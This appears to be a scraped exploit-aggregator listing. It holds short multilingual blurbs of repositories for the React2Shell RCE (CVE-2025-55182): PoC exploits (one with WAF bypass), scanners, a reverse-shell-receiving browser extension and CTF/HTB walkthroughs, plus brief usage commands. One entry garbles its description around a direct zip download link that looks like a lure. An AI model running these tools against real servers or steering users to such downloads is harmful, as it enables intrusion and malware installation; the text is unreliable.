CVE-2026-14802

CVE-2026-14802 受影响软件名称及版本 create-react-app 5.0.2 之前的版本 描述 在 macOS 上，react-dev-utils 组件中 openBrowser.js 文件内的 startBrowserProcess 函数允许 OS 命令注入。此问题可通过操控指定函数实现远程利用。 建议 作为临时缓解措施，在补丁可用之前，限制 startBrowserProcess 函数的使用。 目前，尚无关于包含此漏洞修复的较新版本的信息。...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE React Server ComponentsのFlightプロトコルにおけるデシリアライゼーション脆弱性のPoC。 これは何？ Next.js 14+ と React 19 は、クライアントとサーバー間の通信に独自プロトコル（"Flight"）を使用しています。問題は、サーバーが検証なしに任意のモジュールをロードすることです。そのため、childprocess を実行させることができ、そのままRCEに至ります。 Usage root@kitploit: python CVE-2025-55182.py -t -p --cmd...

react2shell

このリポジトリには README がありません。...

react2shell-evolved

React2Shell Scanner 用于RSC/Next.js RCE的高保真检测 用于检测React Server Components和Next.js应用程序中远程代码执行（RCE）漏洞的扫描器。 关于 React2Shell Scanner 是一款专用工具，用于识别使用 React Server Components RSC 和 Next.js 的应用程序中的远程代码执行（RCE）漏洞。该工具可检测与以下 CVE 相关的漏洞： CVE-2025-55182 CVE-2025-66478 该工具利用侧信道检测和 RCE 概念验证进行高保真检测，能够通过自动解析 HTTP...

HTB-Reactor-Linux-Machine-Walkthrough

HTB: Reactor !CAUTION 剧透警告。 这是一份包含 flag 的完整通关攻略。如果你想自行攻克这台机器，请立即关闭本文，卡住时再回来。 机器信息 字段| 详情 ---|--- 名称| Reactor 操作系统| Ubuntu 24.04 LTS Noble 难度| 中等 CVE| CVE-2025-55182 CVSS 10.0 端口| 22 SSH, 3000 Next.js 作者| sonnycroco 概述 Reactor 的主题是一个名为 ReactorWatch 的核电站监控仪表盘。这台机器完全围绕两个串联起来的漏洞展开——没有猜测，没有误导分支，没有暴力破解...

React2Shell

このリポジトリには README がありません。...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - React Server Components RCEエクスプロイト v2.0 CVE-2025-55182 および CVE-2025-66478 の脆弱性をReact Server Components RSC および Next.js Server Actions でテストするための包括的なセキュリティ調査ツール。 脆弱性概要...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — React Server Components RCE | CTF ライトアップ カテゴリ: Web Exploitation | 難易度: Medium | 脆弱性: Remote Code Execution → SUID 権限昇格 TL;DR React Server Component のエンドポイントが CVE-2025-55182 RCE に対して脆弱 → SUID バイナリを列挙 → /usr/bin/perl に SUID が設定されていた → Perl の POSIX setuid0 を使用して root に昇格 →...

tot-react-rce-CVE-2025-55182

Tot React RCE CVE-2025-55182 React-shell Tot React RCE - Next.jsツール。 依存関係 : aiohttp termcolor（オプション） tabulate（オプション） 依存関係のインストール: root@kitploit: pip install -r requirements.txt 実行例: root@kitploit: python3 main.py -u http://target.com --lang id...

SubMon

SubMon バグバウンティとは、バグを見つけることだけでなく、それを「最初に」見つけることだと言われることもあります。このツールは、新しいサブドメインが出現したときにハンターに通知するために開発しています。 特徴 お気に入りのターゲット（名前＋ドメイン）を追加できます。 その後、scan をクリックするか、スキャンを schedule（予約）できます。 スキャンが完了すると、Discord にアラートが届きます。 スケジューラーを設定すると、新しいサブドメインが見つかるたびに Discord 通知を受け取れます。...

React2Shell

RSC Sentinel 一款用于检测 Web 应用程序中 React2Shell 漏洞（CVE-2025-55182 和 CVE-2025-66478）的 Firefox 扩展。 👁️ 概述 RSC Sentinel 是一款 Firefox 浏览器扩展，面向希望在浏览时观察 React Server Components RSC 和 Next.js App Router 指标的安全研究人员和教育工作者。它默认专注于被动检测，在不改变网站行为的情况下突出显示潜在信号。对于经过授权的评估，它还可选提供由用户发起的手动工具，用于主动探测和受控命令执行。 🧩 功能 被动检测...

CVE-2025-55182-React2Shell

React2Shell React2Shell 是一个概念验证（PoC）漏洞利用，演示了在使用React服务端组件（RSC） 的现代Web框架中的一个严重远程代码执行（RCE）漏洞。 该PoC针对CVE-2025-55182，这是一个CVSS 10.0漏洞，允许未经认证的远程攻击者通过React服务端组件实现中的不安全反序列化执行任意系统命令。 🔍 漏洞概述 React2Shell 利用了一个缺陷，该缺陷存在于React服务端组件在重新水合 阶段处理不受信任输入的方式中。 指标| 详细 ---|--- 严重性| 严重（10.0 / 10.0） 向量|...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高度なエクスプロイトと修士論文研究 -brightred 信頼できないデータのデシリアライズ + React Server Components におけるプロトタイプ汚染 Next.js Server Actions を介した認証なしリモートコード実行 影響を受けるバージョン: React 19.0.0 - 19.2.0 · パッチ: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高度なエクスプロイトのデモ -...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC——带 WAF 绕过 一个针对 CVE-2025-55182 （又名 React2Shell）的简洁、可靠的 Python 概念验证（PoC）漏洞利用程序，该漏洞是 Next.js（App Router）及类似框架所使用的 React Server Components 中的一个严重远程代码执行漏洞。 该 PoC 包含动态 WAF 绕过填充 ，可规避那些限制对大型 multipart 请求体进行深度检测的常见 Web 应用防火墙（Cloudflare、AWS WAF 等）。 漏洞概述 CVE ：CVE-2025-55182 CV...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — El protocolo Flight de React es la capa de serialización detrás de los Componentes de Servidor de React. CVE-2025-55182 explota una falla de deserialización en Flight para lograr RCE sin autenticación previa. Si tu aplicación usa RSC, es un flight risk. Kit ...

react2shell-scanner

🚨 React2Shell 扫描器 React 服务端组件中的 CVSS 10.0 RCE。你的 React 19 应用存在漏洞吗？ 用于检测 CVE-2025-55182（React2Shell）的快速、精准扫描器——这是一个已被在野利用的严重远程代码执行漏洞。凭借智能的服务端组件检测实现零误报。 🚨 关于 React2Shell（CVE-2025-55182） React2Shell 是 React 服务端组件中的一个最高严重级别（CVSS 10.0）漏洞，允许未经身份验证的远程代码执行。攻击者可通过向服务端函数端点发送特制的 HTTP 请求来利用此漏洞。 关键信息： 受影响：...

CVE-2025-55182

CVE-2025-55182 実際の説明をお探しの場合は、msanft/CVE-2025-55182 にわかりやすい説明（動作する PoC 付き）があります。 このリポジトリには、私が試した中で興味深い（ような）結果が得られたいくつかの試みが含まれているだけです。 ./thing.py に動作する PoC が含まれるようになりました。その大部分は https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3 から引用したものです。 古い内容 テンプレート: root@kitploit: !/usr/bin/env...

React2P4IM0Nshell

React2P4IM0Nshell 💥Next.jsおよびReact Server Components（RSC）環境向けの高度なRCE/ソースリーク/Dos（CVE-2025-55182/83/84）監査・エクスプロイト用拡張ツール。ブラウザから直接使用可能で、拡張機能自体に組み込まれたLinux端末で任意のリバースシェルを受信できます❌ ⚡ CMDCENTER: 核 👁️ パッシブ偵察 DOMとHTTPヘッダーを静かに分析します。window.nextfやtext/x-componentといったシグネチャを検出し、WAFに警報を発することなくNext.js App...

react2shell

React2Shell React Server Components / Server Actions におけるプロトタイプ汚染の脆弱性を悪用し、脆弱なサーバー上でリモートコード実行（RCE）を可能にするCLIツールです（CVE-2025-55182 & CVE-2025-66478）。 オリジナルPoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 警告: このツールは現在実際に悪用されている深刻な脆弱性（CVSS 10.0）を標的としています。...